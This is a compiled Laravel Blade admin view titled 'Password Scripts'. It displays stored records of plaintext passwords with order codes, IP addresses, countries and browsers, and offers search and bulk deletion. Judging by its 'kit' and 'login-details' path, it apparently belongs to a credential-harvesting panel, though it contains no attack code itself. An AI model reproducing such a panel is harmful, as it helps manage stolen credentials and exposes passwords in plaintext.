
<?php $__env->startSection('styles'); ?>
<?php $__env->stopSection(); ?>
<?php $__env->startSection('title'); ?>
    Password Scripts
<?php $__env->stopSection(); ?>

<?php $__env->startSection('content'); ?>
    <!-- Begin Page Content -->
    <div class="container">
        <div class="d-flex align-items-center p-3 my-3 text-white bg-primary rounded shadow-sm">
            <svg class="bd-placeholder-img flex-shrink-0 me-2 rounded" width="32" height="32"
                xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Placeholder: 32x32"
                preserveAspectRatio="xMidYMid slice" focusable="false">
                <title>Placeholder</title>
                <rect width="100%" height="100%" fill="var(--white)"></rect><text x="50%" y="50%"
                    fill="var(--white)" dy=".3em">32x32</text>
            </svg>

            <div class="ml-2">
                <h1 class="h6 mb-0 text-white lh-1">Password Scripts</h1>
                <small><a class="text-white" href="<?php echo e(url('admin/dashboard')); ?>">dashboard</a> > password script</small>
            </div>
        </div>
        <!-- Content Row -->
        <div class="row">
            <div class="col-sm-12">
                <div class="card mb-4 shadow table-responsive">
                    <div class="card-body">
                        <div class="text-right">
                            <form class="w-100" method="GET"
                                action="<?php echo e(url(str_replace('password/', '', $prefix) . 'password_script/search?')); ?>"
                                role="search">
                                <div class="input-group">
                                    <input type="text" class="form-control bg-light border-0 small"
                                        placeholder="Search for..." aria-label="Search" aria-describedby="basic-addon2"
                                        name="search">
                                    <div class="input-group-append">
                                        <button type="submit" class="btn btn-primary" type="button">
                                            <i class="fas fa-search fa-sm"></i>
                                        </button>
                                    </div>
                                </div>
                            </form>
                        </div>
                        <div class="text-right">
                            <button class="btn btn-danger mt-2 mb-2" id="delete-selected" style="display: none;"><i
                                class="fas fa-trash"></i></button>
                        </div>
                        <form action="<?php echo e(url($prefix . 'select-delete')); ?>" method="post" id="select_form">
                            <?php echo csrf_field(); ?>
                            <table class="table table-borderd text-dark text-center small">
                            <thead class="text-uppercase small text-dark">
                                <tr>
                                    <th><input type="checkbox" class="form-check" id="checkAll"></th>
                                    <th>order_code</th>
                                    <th>ip</th>
                                    <th>password</th>
                                    <th>country</th>
                                    <th>browser</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php $__currentLoopData = $data; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $item): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                    <tr>
                                        
                                        <td><input type="checkbox" class="form-check delete_all" name="delete[]"
                                                value="<?php echo e($item->id); ?>"></td>
                                        <td><?php echo e($item->order_code); ?></td>
                                        <td><?php echo e($item->ip); ?></td>
                                        <td><?php echo e($item->password); ?></td>
                                        <td><?php echo e($item->country); ?></td>
                                        <td><?php echo e($item->browser); ?></td>
                                    </tr>
                                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                            </tbody>
                        </table>
                        </form>
                        <?php if(!empty($data)): ?>
                            <?php echo e($data->links()); ?>

                        <?php endif; ?>
                    </div>
                </div>
            </div>
        </div>
        <small class="d-block text-end mt-3">

        </small>
    </div>
    </div>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('scripts'); ?>
<script>
    $(document).on("change", "#checkAll", function() {
            var checked = this.checked;
            if (checked) {
                $(".delete_all").attr("checked", "checked");
                $("#delete-selected").show();
            } else {
                $(".delete_all").removeAttr("checked");
                $("#delete-selected").hide();
            }
        })
        $(document).on("change", ".delete_all", function(e) {
            var checked = this.checked;
            if (checked) {
                $(this).attr("checked", "checked");
                $("#delete-selected").show();
            } else {
                $(this).removeAttr("checked");
                $("#delete-selected").hide();
            }

        })
        $(document).on("click", "#delete-selected", function() {

            Swal.fire({
                title: 'Are you sure?',
                text: "Do you want to delete this selected orders?",
                icon: 'warning',
                showCancelButton: true,
                confirmButtonColor: '#3085d6',
                cancelButtonColor: '#d33',
                confirmButtonText: 'Yes, delete it!'
            }).then((result) => {
                if (result.isConfirmed) {
                    $("#select_form").submit();
                }
            })

        })
</script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('components.app', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/iserverkit3/kit/resources/views/admin/login-details/password_scripts.blade.php ENDPATH**/ ?>